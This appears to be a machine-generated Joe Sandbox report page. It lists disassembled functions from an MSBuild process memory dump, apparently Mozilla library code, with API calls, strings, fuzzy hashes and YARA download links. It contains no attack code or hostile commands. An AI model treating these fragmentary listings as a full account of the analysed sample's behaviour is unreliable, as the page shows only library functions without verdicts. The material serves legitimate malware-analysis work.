Opcode Fuzzy Hash: 29b5ef8b75b70bf2cb92bcfdbaf7d45c0d95651969300fba1d4b537c8bbd2ae2
Instruction Fuzzy Hash: BC81EF70B0A2509FEB019F6ECC58B79B7B4EB46314F11052AE81197FA0E7B59806CB99

Function 6C4F7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4F8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4F801D

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4F802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4F803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4F808D

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4F809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4F80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4F8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4F8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4F8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4F817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F8199

Strings

0>Rl, xrefs: 6C4F811E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Rl
API String ID: 2721933968-856948098
Opcode ID: 11c41626b3cdae5a738157359809c5bd365e0b38b19cec6857aefdd79e2c19f8
Instruction ID: 928830f32242ab6d2f715685d1d4007bf55ee8a6cfbbaf787775b62b67c53a19
Opcode Fuzzy Hash: 11c41626b3cdae5a738157359809c5bd365e0b38b19cec6857aefdd79e2c19f8
Instruction Fuzzy Hash: 6B5199B1E001149BDF00DFAADC84DEFB7B9AF89224F550225E825EB741E730AD05CBA1

Function 6C4F5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5E9D

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

GetCurrentThreadId.KERNEL32 ref: 6C4F5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4F5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4F6017

Part of subcall function 6C4E4310: moz_xmalloc.MOZGLUE(00000010,?,6C4E42D2), ref: 6C4E436A
Part of subcall function 6C4E4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E42D2), ref: 6C4E4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4F5F47
GetCurrentProcess.KERNEL32 ref: 6C4F5F53
GetCurrentThread.KERNEL32 ref: 6C4F5F5C
GetCurrentProcess.KERNEL32 ref: 6C4F5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4F5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4F5F27

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F5E8C

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F60CC

Strings

GeckoMain, xrefs: 6C4F5ECE, 6C4F6015

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 76c20ca8554d1cd21d7ea56d0f7eb9e4ab32270b45417312c1684a5f0a3f10ec
Instruction ID: b097befeec85663a5ae97989d647b28c2b00e6a685c5f36184f04f3298de48f2
Opcode Fuzzy Hash: 76c20ca8554d1cd21d7ea56d0f7eb9e4ab32270b45417312c1684a5f0a3f10ec
Instruction Fuzzy Hash: C071AEB0A05740DFD710DF29C880E6ABBF0BF99304F544A6DE49687B52D731E949CB92

Function 6C4F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4E3217
Part of subcall function 6C4E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4E3236
Part of subcall function 6C4E31C0: FreeLibrary.KERNEL32 ref: 6C4E324B
Part of subcall function 6C4E31C0: __Init_thread_footer.LIBCMT ref: 6C4E3260
Part of subcall function 6C4E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4E327F
Part of subcall function 6C4E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E328E
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32AB
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32D1
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4E32E5
Part of subcall function 6C4E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4F9675
__Init_thread_footer.LIBCMT ref: 6C4F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4F9707
__Init_thread_footer.LIBCMT ref: 6C4F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4F97B7
FreeLibrary.KERNEL32 ref: 6C4F97D0
FreeLibrary.KERNEL32 ref: 6C4F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9824

Strings

ntdll.dll, xrefs: 6C4F96E3
MapViewOfFileNuma2, xrefs: 6C4F97B1
NtMapViewOfSection, xrefs: 6C4F9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4F9670

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8444b3bc373beb895a260ffff919c1a555022c1c2bece17569da228fda3a4cde
Instruction ID: 7ff8bae5ac1c560608167ebecdc3178a62aa6d9b093c17fec9db43075801f23b
Opcode Fuzzy Hash: 8444b3bc373beb895a260ffff919c1a555022c1c2bece17569da228fda3a4cde
Instruction Fuzzy Hash: 2261F671B04305DBDF00DF6ADC88FAABBB0EB8A315F054229E92683B60D7319855CB95

Function 6C4F11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C4F1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4F1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C4F12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C4F1327

Strings

MZx, xrefs: 6C4F11E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C4F120D
&, xrefs: 6C4F126B
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C4F131B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C4F12AD

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: b61bbb22dfde696b33ec514bc17796cb8a7be42c4432db581f760ad0bc19428a
Instruction ID: 5dd761244b464858fff2aa84626e514d59ec87617cee07ece44690c5072adbca
Opcode Fuzzy Hash: b61bbb22dfde696b33ec514bc17796cb8a7be42c4432db581f760ad0bc19428a
Instruction Fuzzy Hash: 6A718FB1E052588ADB10DF68CC04FDEB7F1BF88309F05065ED455A3B40DB74AA8ACB92

Function 6C4E31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4E3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4E3236
FreeLibrary.KERNEL32 ref: 6C4E324B
__Init_thread_footer.LIBCMT ref: 6C4E3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4E327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4E32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4E32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4E32F7

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

__aulldiv.LIBCMT ref: 6C4E346B

Strings

KernelBase.dll, xrefs: 6C4E3212
QueryInterruptTime, xrefs: 6C4E3230

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: fa4824f40702da0249dc5fd6fe9dff8c203444da5383edf78172417c064d7fe5
Instruction ID: 6dae4d1ef7ea7884bbab0397f0a6345c8bd0a77d164b18f0ed45aa62be50b9d6
Opcode Fuzzy Hash: fa4824f40702da0249dc5fd6fe9dff8c203444da5383edf78172417c064d7fe5
Instruction Fuzzy Hash: 3F612571A087018BC711CF39C854B6AB3F5FFC6354F128B1DF8A5A36A0DB3099498B46

Function 6C546660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C56F618), ref: 6C546694
GetThreadId.KERNEL32(?), ref: 6C5466B1
GetCurrentThreadId.KERNEL32 ref: 6C5466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5466E1
EnterCriticalSection.KERNEL32(6C56F618), ref: 6C546734
GetCurrentProcess.KERNEL32 ref: 6C54673A
LeaveCriticalSection.KERNEL32(6C56F618), ref: 6C54676C
GetCurrentThread.KERNEL32 ref: 6C5467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C546868
RtlCaptureContext.NTDLL ref: 6C54687F

Strings

WalkStack64, xrefs: 6C546890

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4fd0fd74a526949b0dd04dbd115f4c87ca7eb67ff3390fe3a4aac79859e727f3
Instruction ID: 67b853423cdc0266164250fc3de2b6ca16f1b62f2ee4e33332d528342e590c1f
Opcode Fuzzy Hash: 4fd0fd74a526949b0dd04dbd115f4c87ca7eb67ff3390fe3a4aac79859e727f3
Instruction Fuzzy Hash: 5C51BD71A09301AFDB11DF29CC44B6ABBF4BF89714F01892DF99887650DB70E908CB96

Function 6C52DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52DE73
GetCurrentThreadId.KERNEL32 ref: 6C52DF7D
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52DF8A
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52DFC9
GetCurrentThreadId.KERNEL32 ref: 6C52DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4F4A68), ref: 6C52DE7B

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4F4A68), ref: 6C52DEB8
free.MOZGLUE(00000000,?,6C4F4A68), ref: 6C52DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C52DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C52DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C52E00E
<none>, xrefs: 6C52DFD7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: e295644e2af694cdd2b81e375a1431f446210b6ec1807536afe412acc76db51b
Instruction ID: 3c3d22215e1c4a76c8012f925e4bb8192c50eb182add7039416bfa4c11b36083
Opcode Fuzzy Hash: e295644e2af694cdd2b81e375a1431f446210b6ec1807536afe412acc76db51b
Instruction Fuzzy Hash: 3241F431B052109BDB209B6ADC087BAB7B5FF8630DF150215E90587F91DB79AC05CBEA

Function 6C53D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D918
GetCurrentThreadId.KERNEL32 ref: 6C53D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D970
GetCurrentThreadId.KERNEL32 ref: 6C53D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C53DA2E
GetCurrentThreadId.KERNEL32 ref: 6C53DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C53DA91

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53DAB7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: ce8d28e26bbfff96732050aa528a964ebfde4a21a4143799c00d95c8df638035
Instruction ID: 8291a6ad0ea84681699aeaf7a042a133ffc7f75988f9031f9648bb6f49ffbdb9
Opcode Fuzzy Hash: ce8d28e26bbfff96732050aa528a964ebfde4a21a4143799c00d95c8df638035
Instruction Fuzzy Hash: FA71AD75604314DFCB00DF29C888BAABBF5FF89314F15856AE85A9B311EB30AD44CB95

Function 6C53D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D52A
GetCurrentThreadId.KERNEL32 ref: 6C53D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D55F
free.MOZGLUE(00000000), ref: 6C53D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C53D5D3
GetCurrentThreadId.KERNEL32 ref: 6C53D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D652
GetCurrentThreadId.KERNEL32 ref: 6C53D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D6A2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a52b4e20ca35a1312e462da62075095e4736785fcc1f63f55d9b52917b51af51
Instruction ID: f749f5002d4b60e04bdd34b9075f69c36c686e250e79521d259990e0cd2c474c
Opcode Fuzzy Hash: a52b4e20ca35a1312e462da62075095e4736785fcc1f63f55d9b52917b51af51
Instruction Fuzzy Hash: D0517E71604705DFC704DF35C888A9ABBF4FF89318F01562EE85A87721EB31A845CB95

Function 6C4E1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4E1EC1
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1EE1
EnterCriticalSection.KERNEL32(6C56E744), ref: 6C4E1F38
LeaveCriticalSection.KERNEL32(6C56E744), ref: 6C4E1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4E1F83
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FC0
EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FE2
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E2019

Strings

MOZ_CRASH(), xrefs: 6C4E2000
\Vl, xrefs: 6C4E1F3E
DVl, xrefs: 6C4E1F32
DVl, xrefs: 6C4E1F56

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DVl$DVl$MOZ_CRASH()$\Vl
API String ID: 2055633661-698691890
Opcode ID: 3674cc0f69e2a678c5f717522f03fb4c02f8446365864e7d51e21eeff374be97
Instruction ID: 39604067e03f85eae524a6daa99b71d815313b07e0c4c90ac5aee8d14736296f
Opcode Fuzzy Hash: 3674cc0f69e2a678c5f717522f03fb4c02f8446365864e7d51e21eeff374be97
Instruction Fuzzy Hash: 6D41C171B012558FDF009F6ECC88F6AB7B5EB4A34AF020125F9049BB51DBB198058BD9

Function 6C505670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C505744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5057BC
